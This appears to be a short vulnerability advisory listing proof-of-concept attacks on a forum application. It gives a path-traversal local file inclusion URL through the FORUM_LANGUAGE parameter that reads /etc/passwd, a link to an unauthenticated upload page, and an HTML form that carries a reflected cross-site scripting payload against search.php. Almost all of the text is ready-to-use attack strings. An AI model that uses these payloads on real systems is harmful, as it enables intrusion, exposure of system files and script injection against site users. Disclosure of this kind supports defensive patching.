# Original Advisory: www.bugreport.ir/?/46

1. Exploits/POCs:
    1.1. Local File Inclusion (LFI) in "/functions.php" in "FORUM_LANGUAGE" parameter.
        -------------
        LFI:
            http://[URL]/[Forum Path]/functions.php?FORUM_LANGUAGE=/../../../../../../../../../../etc/passwd
        -------------
    1.2. File (image) Upload with out premission.
        -------------
        Uploader link:
            http://[URL]/[Forum Path]/upload.php
        -------------
    1.3. Cross Site Scripting (XSS). Reflected XSS attack in "search.php".
        -------------
            <form action="http://[URL]/[Forum path]/search.php" method="post">
            <tr><td class=g>XSS: <small></td><tr>
            "<SCRIPT>alert(/BugReport.ir-XSS/.source)</SCRIPT>    
            <br><tr><td class=g><INPUT TYPE="text" class="txt" NAME="search" SIZE="30" MAXLENGTH="100"><br/>
            <tr><td class=g><INPUT TYPE="RADIO" checked NAME="type" VALUE="themen">┬ásearch only in topics</td></tr>
            <tr><td class=g><INPUT TYPE="RADIO" NAME="type" VALUE="beitraege">┬ásearch in topics and answers</td></tr>
            <INPUT TYPE="SUBMIT" class="btn" NAME="submit" VALUE="submit"></td></tr>
        -------------